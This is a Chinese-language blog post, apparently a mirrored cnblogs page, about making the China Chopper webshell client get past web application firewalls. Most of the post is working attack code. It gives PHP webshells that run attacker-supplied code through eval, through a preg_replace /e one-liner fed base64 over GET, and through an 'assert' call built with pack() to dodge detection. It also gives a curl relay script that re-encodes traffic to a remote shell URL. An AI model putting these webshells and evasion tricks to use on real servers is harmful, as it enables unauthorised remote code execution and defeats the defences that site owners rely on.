zoukankan      html  css  js  c++  java
  • 菜刀php过waf

    关于PHP

    一、waf为啥会拦截菜刀。
    菜刀在连接时,会向server端POST数据,抓包查看:


    会看到他向server端post了 @eval(base64_decode($_POST[z0])); 一般的waf都会拦截eval的。

    二、要想菜刀仍然正常工作,就必须让菜刀中的内置的@eval(base64_decode($_POST[z0]));代码不被waf拦截,但又可以传递到server端。
    方案一:修改菜刀
    (1)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,写进服务端去。
    于是server端代码为:

    <?php
        if($_POST['c']!='')
    {
        @eval(base64_decode($_POST[z0]));
    } 
    ?>

    客户端用修改后的菜刀连接。
    说明:这种方法是将菜刀内置的eval(base64_decode($_POST[z0]))直接写到server端。

    (2)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,用get方式将eval(base64_decode($_POST[z0]))的base64加密形式发到服务端。
    server端代码:

    <?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>

    客户端用修改后的菜刀连接:
    http://www.s2ck.cc/test.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==

    说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过base64加密,然后通过get方式传到server端。

    方案二:中转
    client->自己服务器/应用(加密)->防火墙->真实地址(解密)
    (3)通过中转,将菜刀post的eval(base64_decode($_POST[z0]))进行加密。服务端进行解密。
    server端代码:

    <?php
     $func=pack("c6",97,115,115,101,114,116);
     $_POST['c']=base64_decode( $_POST['c']) ;
     $func($_POST['c']);
    ?>

    中转端代码:

    <?php
    $handle=curl_init();
    $DATA=array();
    $DATA=$_POST;
    $DATA['c']=base64_encode(substr($DATA['c'],1));
    curl_setopt($handle,CURLOPT_URL,'http://www.s2ck.cc/1.php');
    curl_setopt($handle,CURLOPT_HEADER,0);
    curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($handle,CURLOPT_POST,1);
    curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA);
    $output=curl_exec($handle);
    if($output === FALSE) {
        echo "cURL Error: " . curl_error($handle);
    }
    echo ($output);
    curl_close($handle);
    ?>

    客户端:
    用原版菜刀连接。

    说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过中转端进行加密,然后server端进行解密。从而绕过waf

  • 相关阅读:
    转ANYTAO的学习方法
    第一次写文章
    分享一个有趣的学习方法,欢迎一起探讨如何提高学习兴趣
    SQL基础
    insert into 后获得自动插入的id(select @@identity)
    如何向ASP.NET Web 服务器控件添加客户端脚本事件
    关键字using的主要用途
    网页设计师必备的10个CSS技巧
    DataSet与DataReader的区别
    由于系统时间修改导致Oracle启动失败
  • 原文地址:https://www.cnblogs.com/waw/p/5587455.html
Copyright © 2011-2022 走看看